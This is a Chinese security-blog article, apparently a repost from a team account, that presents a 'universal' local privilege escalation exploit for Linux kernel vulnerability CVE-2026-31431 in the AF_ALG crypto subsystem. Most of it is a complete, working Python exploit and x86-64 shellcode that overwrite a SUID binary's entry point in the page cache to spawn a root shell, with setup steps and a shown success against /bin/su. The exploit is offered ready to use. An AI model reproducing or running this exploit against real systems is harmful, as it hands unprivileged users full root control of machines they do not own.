CVE-2026-31431CopyFail通杀版EXP:动态偏移计算实现任意ELF提权

admin 2026-05-11 09:13:42 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细分析了Linux内核CVE-2026-31431漏洞,该漏洞位于AF_ALG加密子系统,允许非特权用户通过splice()+authencesn机制在内核页面缓存中任意偏移写入4字节数据,实现内核级提权。作者开发了动态计算ELF入口点文件偏移的通用EXP,解决了原版POC依赖硬编码偏移的问题。通过Docker容器环境复现,成功对verify和/bin/su两个不同ELF文件实现提权,验证了EXP的通用性。文章包含完整的漏洞原理分析、ELF结构解析、偏移计算方法和可操作的EXP代码。 综合评分: 87 文章分类: 漏洞分析,二进制安全,红队,安全工具,实战经验


cover_image

CVE-2026-31431 Copy Fail 通杀版 EXP:动态偏移计算实现任意 ELF 提权

原创

shadowabi shadowabi

WgpSec狼组安全团队

2026年5月8日 14:24 北京

在小说阅读器读本章

去阅读

点击蓝字

关注我们

声明

本文作者:shadowabi 本文字数:3029字

阅读时长:约8分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。

❝

CVE-2026-31431 是 Linux 内核 AF_ALG 加密子系统中的一个漏洞。通过滥用 splice() + authencesn 的就地解密机制,非特权用户可以在内核的页面缓存(page cache)中以任意偏移量写入 4 字节——而所有由文件备份的内存都使用同一套缓存。这是一个内核级提权漏洞。

原版 POC(theori-io/copy-fail-CVE-2026-31431 https://github.com/theori-io/copy-fail-CVE-2026-31431)硬编码了一个固定的偏移值,只能在特定编译环境下使用,对漏洞复现不够友好。

为此,我重写了一版支持动态计算偏移量的 EXP,可适配不同编译产出的 ELF 文件:shadowabi/CVE-2026-31431-CopyFail-Universal-LPE (https://github.com/shadowabi/CVE-2026-31431-CopyFail-Universal-LPE)

漏洞原理的官方说明:https://copy.fail

环境信息

宿主机为 Windows 11,通过 WSL2 运行 Ubuntu 22.04 LTS 虚拟机作为漏洞复现环境。

❝

为什么用 Docker 容器复现? 容器共享宿主机内核,内核漏洞的利用效果在容器内与

宿主机上一致。使用容器的目的是提供一个干净、可复现的隔离环境,便于销毁和重建。

Docker 版本 29.2.1,运行时 runc v1.3.4。

复现过程

1. 启动容器并准备测试文件

打开 WSL,创建一个 Ubuntu 22.04 容器,编译一个带 SUID 位的测试二进制 verify:

docker run -ti --rm ubuntu:22.04 bash -c '
  sed -i "s|archive.ubuntu.com|mirrors.aliyun.com|g" /etc/apt/sources.list
  apt-get update -qq && apt-get install -y -qq python3 gcc
&nbsp; cat > /tmp/verify.c << EOF
#include&nbsp;<unistd.h>
#include&nbsp;<stdio.h>
int main() {
&nbsp; &nbsp; printf("uid=%d euid=%d\\n", getuid(), geteuid());
&nbsp; &nbsp; printf("Not rooted - exploit entry point to get shell\\n");
&nbsp; &nbsp; return 0;
}
EOF
&nbsp; gcc -o /usr/local/bin/verify /tmp/verify.c
&nbsp; chmod 4755 /usr/local/bin/verify
&nbsp; useradd -m testuser
&nbsp; su - testuser
'

这段脚本做了以下几件事:

  1. 创建容器并切换为阿里云镜像源
  2. 安装 python3 和 gcc(gcc 仅用于编译测试文件,实际 EXP 不依赖它)
  3. 编译 verify.c 为带 SUID 权限的二进制(chmod 4755),用于后续验证提权效果
  4. 创建低权限用户 testuser 并切换到该用户

切换后,id 和 verify 均显示当前是低权限用户:

2. 写入 EXP

cat > /tmp/exploit.py <<&nbsp;'EXPY'
import os,socket,struct,sys
def d(x):return&nbsp;bytes.fromhex(x)
def w(t,o,p):
&nbsp;s=socket.socket(38,5,0);s.bind(("aead","authencesn(hmac(sha256),cbc(aes))"))
&nbsp;s.setsockopt(279,1,d('0800010000000010'+'0'*64));s.setsockopt(279,5,None,4)
&nbsp;u,_=s.accept();z=d('00')
&nbsp;u.sendmsg([b"A"*4+p],[(279,3,z*4),(279,2,b'\x10'+z*19),(279,4,b'\x08'+z*3)],32768)
&nbsp;r,ww=os.pipe();fd=os.open(t,0);os.splice(fd,ww,o+4,offset_src=0);os.splice(r,u.fileno(),o+4)
&nbsp;try:u.recv(8+o)
&nbsp;except:0
&nbsp;[os.close(x)&nbsp;for&nbsp;x&nbsp;in&nbsp;[fd,r,ww]];u.close();s.close()
with open(sys.argv[1],'rb') as f: h=f.read(64)
e=struct.unpack_from('<Q',h,24)[0]
p=struct.unpack_from('<Q',h,32)[0]
n=struct.unpack_from('<H',h,56)[0]
sz=struct.unpack_from('<H',h,54)[0]
off=0
with open(sys.argv[1],'rb') as f:
for&nbsp;i&nbsp;in&nbsp;range(n):
&nbsp; f.seek(p+i*sz);ph=f.read(sz)
if&nbsp;struct.unpack_from('<I',ph,0)[0]!=1:&nbsp;continue
&nbsp; pv,po,pf=struct.unpack_from('<QQQ',ph,16)[:3];pv2=struct.unpack_from('<Q',ph,8)[0]
if&nbsp;pv<=e<pv+pf: off=pv2+(e-pv);break
print("entry offset: 0x%x"&nbsp;% off)
sc=b'\x48\x31\xff\x31\xc0\xb0\x69\x0f\x05'
sc+=b'\x48\x31\xd2\x52'
sc+=b'\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00'
sc+=b'\x53\x48\x89\xe7\x48\x31\xf6\x31\xc0\xb0\x3b\x0f\x05'
print("shellcode %d bytes"&nbsp;% len(sc))
sc+=b'\x00'*(4-len(sc)%4)
for&nbsp;i&nbsp;in&nbsp;range(len(sc)//4):
&nbsp;w(sys.argv[1],off+i*4,sc[i*4:i*4+4])
print(" &nbsp;wrote 0x%x: %s"&nbsp;% (off+i*4,sc[i*4:i*4+4].hex()))
with open(sys.argv[1],'rb') as f:
&nbsp;f.seek(off);vd=f.read(32)
print("verify: %s"&nbsp;% vd[:len(sc)].hex())
os.system(sys.argv[1])
EXPY

3. 验证动态偏移

先对自编译的 verify 运行 EXP:

python3 /tmp/exploit.py /usr/local/bin/verify

提权成功,当前已是 root 权限。

exit 回到 testuser,再对系统自带的 /bin/su 运行 EXP:

python3 /tmp/exploit.py /bin/su

同样提权成功。

verify 和 /bin/su 是两个完全不同的二进制文件,由不同版本的 gcc 在不同时间编译,entry point 的偏移量截然不同。两者都能成功提权,说明 EXP 的动态偏移计算是有效的——不再依赖硬编码偏移,可适配任意 ELF 文件。


技术细节

ELF Entry Point 动态偏移计算

❝

Exploit 需要知道 shellcode 写到文件的哪个位置。以下内容解释如何从 ELF Header 动态计算 entry point 的文件偏移。

0x01 问题:为什么要计算偏移

Exploit 的写入原语每次往文件写 4 字节,参数是 (文件名, 文件偏移, 数据)。

目标:覆写 ELF 的 entry point——程序被 exec 后 CPU 跳转到的第一条指令的地址。

但 ELF Header 里存的是虚拟地址,不是文件偏移。写入原语需要的是文件偏移。所以要做一次映射:

entry 虚拟地址 (vaddr) &nbsp;→ &nbsp;entry 文件偏移 (file offset)

0x02 ELF 结构概览

┌─────────────────────────────────────┐
│ &nbsp;ELF Header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;offset 0x18 (24): e_entry &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;← 入口虚拟地址
│ &nbsp; &nbsp;offset 0x20 (32): e_phoff &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;← Program Header 表的文件偏移
│ &nbsp; &nbsp;offset 0x36 (54): e_phentsize &nbsp; &nbsp;│ &nbsp;← 每个 Program Header 的大小
│ &nbsp; &nbsp;offset 0x38 (56): e_phnum &nbsp; &nbsp; &nbsp; &nbsp;│ &nbsp;← Program Header 的数量
├─────────────────────────────────────┤
│ &nbsp;Program Header 0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;offset 0x00: p_type &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;offset 0x08: p_vaddr &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;offset 0x10: p_offset &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;offset 0x20: p_filesz &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
├─────────────────────────────────────┤
│ &nbsp;Program Header 1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
│ &nbsp; &nbsp;... &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
├─────────────────────────────────────┤
│ &nbsp;... &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
├─────────────────────────────────────┤
│ &nbsp;.text section &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│
│ &nbsp; &nbsp;entry: &nbsp;← 覆写目标 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │
└─────────────────────────────────────┘

关键区分:

  • ELF Header 固定在文件开头,描述整个文件的元信息
  • Program Header 是一个数组,描述文件中各个段(segment)的加载信息
  • 每个 PT_LOAD 段告诉内核:文件的 p_offset 处、长度 p_filesz 的内容,加载到内存的 p_vaddr 处

0x03 计算过程

对应 exploit 代码:

# 第一步:从 ELF Header 读取元信息
with&nbsp;open(sys.argv[1],'rb')&nbsp;as&nbsp;f:
&nbsp; &nbsp; h = f.read(64)

e = struct.unpack_from('<Q', h,&nbsp;24)[0] &nbsp; &nbsp;# e_entry: 入口虚拟地址
p = struct.unpack_from('<Q', h,&nbsp;32)[0] &nbsp; &nbsp;# e_phoff: Program Header 表偏移
n = struct.unpack_from('<H', h,&nbsp;56)[0] &nbsp; &nbsp;# e_phnum: Program Header 数量
sz = struct.unpack_from('<H', h,&nbsp;54)[0] &nbsp;&nbsp;# e_phentsize: 每个 PH 的大小
# 第二步:遍历 Program Header,找到 entry 所在的 PT_LOAD 段
for&nbsp;i&nbsp;in&nbsp;range(n):
&nbsp; &nbsp; f.seek(p + i * sz)
&nbsp; &nbsp; ph = f.read(sz)

&nbsp; &nbsp; p_type = struct.unpack_from('<I', ph,&nbsp;0)[0]
&nbsp; &nbsp;&nbsp;if&nbsp;p_type !=&nbsp;1: &nbsp; &nbsp; &nbsp; &nbsp;# 只看 PT_LOAD (type == 1)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp; p_vaddr &nbsp;= struct.unpack_from('<Q', ph,&nbsp;16)[0] &nbsp;&nbsp;# 段的虚拟地址起始
&nbsp; &nbsp; p_offset = struct.unpack_from('<Q', ph,&nbsp;24)[0] &nbsp; &nbsp;# 段的文件偏移起始
&nbsp; &nbsp; p_filesz = struct.unpack_from('<Q', ph,&nbsp;32)[0] &nbsp; &nbsp;# 段在文件中的大小

&nbsp; &nbsp;&nbsp;# 判断 entry 是否落在这个段里
&nbsp; &nbsp;&nbsp;if&nbsp;p_vaddr <= e < p_vaddr + p_filesz:
&nbsp; &nbsp; &nbsp; &nbsp; file_offset = p_offset + (e - p_vaddr)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

核心公式就一行:

file_offset = p_offset + (entry_vaddr - p_vaddr)

为什么是这样

ELF 加载器把文件中 [p_offset, p_offset + p_filesz) 的内容映射到内存的 [p_vaddr, p_vaddr + p_filesz)。这是一个线性映射,文件偏移和虚拟地址之间是固定的差值:

虚拟地址 &nbsp;= &nbsp;文件偏移 &nbsp;+ &nbsp;(p_vaddr - p_offset)

反过来:

文件偏移 &nbsp;= &nbsp;虚拟地址 &nbsp;- &nbsp;(p_vaddr - p_offset)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;= &nbsp;p_offset &nbsp;+ &nbsp;(虚拟地址 - p_vaddr)

所以只要找到 entry 虚拟地址落在哪个 PT_LOAD 段里,就能算出它对应的文件偏移。

0x04 为什么不硬编码偏移

偏移量在不同编译环境下会变:

| 变化因素 | 影响 | | — | — | | gcc 版本不同 | 代码布局策略不同 | | -O0 vs -O2 | 函数排列、内联策略不同 | | 链接的库/顺序 | 段的位置会变 | | 源码改动 | 即使改一行,偏移可能全变 |

所以每次运行都动态解析,而不是硬编码一个 magic number。这样只要目标文件是合法 ELF,exploit 都能正确定位 entry point。

0x05 Shellcode:写入什么内容

计算出偏移后,接下来要决定写入什么。Exploit 使用的 shellcode 分两步:先提权,再拿 shell。

第一段:setuid(0)

sc &nbsp;=&nbsp;b'\x48\x31\xff'&nbsp; &nbsp; &nbsp;&nbsp;# xor rdi, rdi &nbsp; &nbsp; → rdi = 0
sc +=&nbsp;b'\x31\xc0'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor eax, eax &nbsp; &nbsp; → eax = 0
sc +=&nbsp;b'\xb0\x69'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 0x69 &nbsp; &nbsp; → eax = 0x69 (syscall号: setuid)
sc +=&nbsp;b'\x0f\x05'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ setuid(0)

等价于:

setuid(0); &nbsp;// 将 uid 设为 0(root)

如果目标程序是 SUID root 的(比如 sudo),执行时 euid 已经是 0,但 uid 可能不是。setuid(0) 确保 uid 也变为 0,否则后续 execve 出的 shell 仍然不是真正的 root。

第二段:execve(“/bin/sh”)

sc +=&nbsp;b'\x48\x31\xd2'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor rdx, rdx &nbsp; &nbsp; → rdx = 0 (envp = NULL)
sc +=&nbsp;b'\x52'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# push rdx &nbsp; &nbsp; &nbsp; &nbsp; → 栈上放 '\0' 作为字符串结尾
sc +=&nbsp;b'\x48\xbb\x2f\x62\x69\x6e'&nbsp; &nbsp;# movabs rbx, 0x0068732f6e69622f
sc +=&nbsp;b'\x2f\x73\x68\x00'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# &nbsp; → rbx = "/bin/sh\0"
sc +=&nbsp;b'\x53'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# push rbx &nbsp; &nbsp; &nbsp; &nbsp; → "/bin/sh\0" 压栈
sc +=&nbsp;b'\x48\x89\xe7'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov rdi, rsp &nbsp; &nbsp; → rdi 指向栈上的 "/bin/sh"
sc +=&nbsp;b'\x48\x31\xf6'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor rsi, rsi &nbsp; &nbsp; → rsi = 0 (argv = NULL)
sc +=&nbsp;b'\x31\xc0'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# xor eax, eax &nbsp; &nbsp; → eax = 0
sc +=&nbsp;b'\xb0\x3b'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# mov al, 0x3b &nbsp; &nbsp; → eax = 0x3b (syscall号: execve)
sc +=&nbsp;b'\x0f\x05'&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# syscall &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;→ execve("/bin/sh", NULL, NULL)

等价于:

execve("/bin/sh",&nbsp;NULL,&nbsp;NULL); &nbsp;// 启动一个 shell

这段 shellcode 的核心技巧是用栈来构造字符串 "/bin/sh\0"——因为 shellcode 不能包含绝对地址(不知道自己被加载到哪里),所以用 push 把字符串压栈,再用 rsp 取地址。

完整流程

setuid(0) &nbsp;→ &nbsp;uid 变为 0
execve("/bin/sh") &nbsp;→ &nbsp;以 root 身份启动 shell

总共 27 字节,补齐到 4 字节对齐后 28 字节。

0x06 写入对齐

sc +=&nbsp;b'\x00'&nbsp;* (4&nbsp;- len(sc) %&nbsp;4) &nbsp; &nbsp;# 补齐到 4 的倍数

for&nbsp;i&nbsp;in&nbsp;range(len(sc) //&nbsp;4):
&nbsp; &nbsp; w(sys.argv[1], off + i *&nbsp;4, sc[i*4&nbsp;: i*4+4])

因为写入原语每次只能写 4 字节,所以 shellcode 必须 4 字节对齐,循环写入 7 次(28 / 4 = 7)。

每次写入的位置是 off + i * 4,即 entry point 偏移开始,逐 4 字节往后覆盖。

0x07 验证

写入后重新读取验证:

with&nbsp;open(sys.argv[1],'rb')&nbsp;as&nbsp;f:
&nbsp; &nbsp; f.seek(off)
&nbsp; &nbsp; vd = f.read(32)
print("verify: %s"&nbsp;% vd[:len(sc)].hex())

验证文件中的内容确实是写入的 shellcode,然后 exec 执行。此时 CPU 跳转到 entry point,执行的就是 shellcode 而非原始代码,完成提权。

作者

shadowabi

自强不息

扫描关注公众号回复加群

和师傅们一起讨论研究~

长

按

关

注

WgpSec狼组安全团队

微信号:wgpsec

Twitter:@wgpsec


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。

本文转载自:WgpSec狼组安全团队 shadowabi shadowabi《CVE-2026-31431 Copy Fail 通杀版 EXP:动态偏移计算实现任意 ELF 提权》

评论:0   参与:  0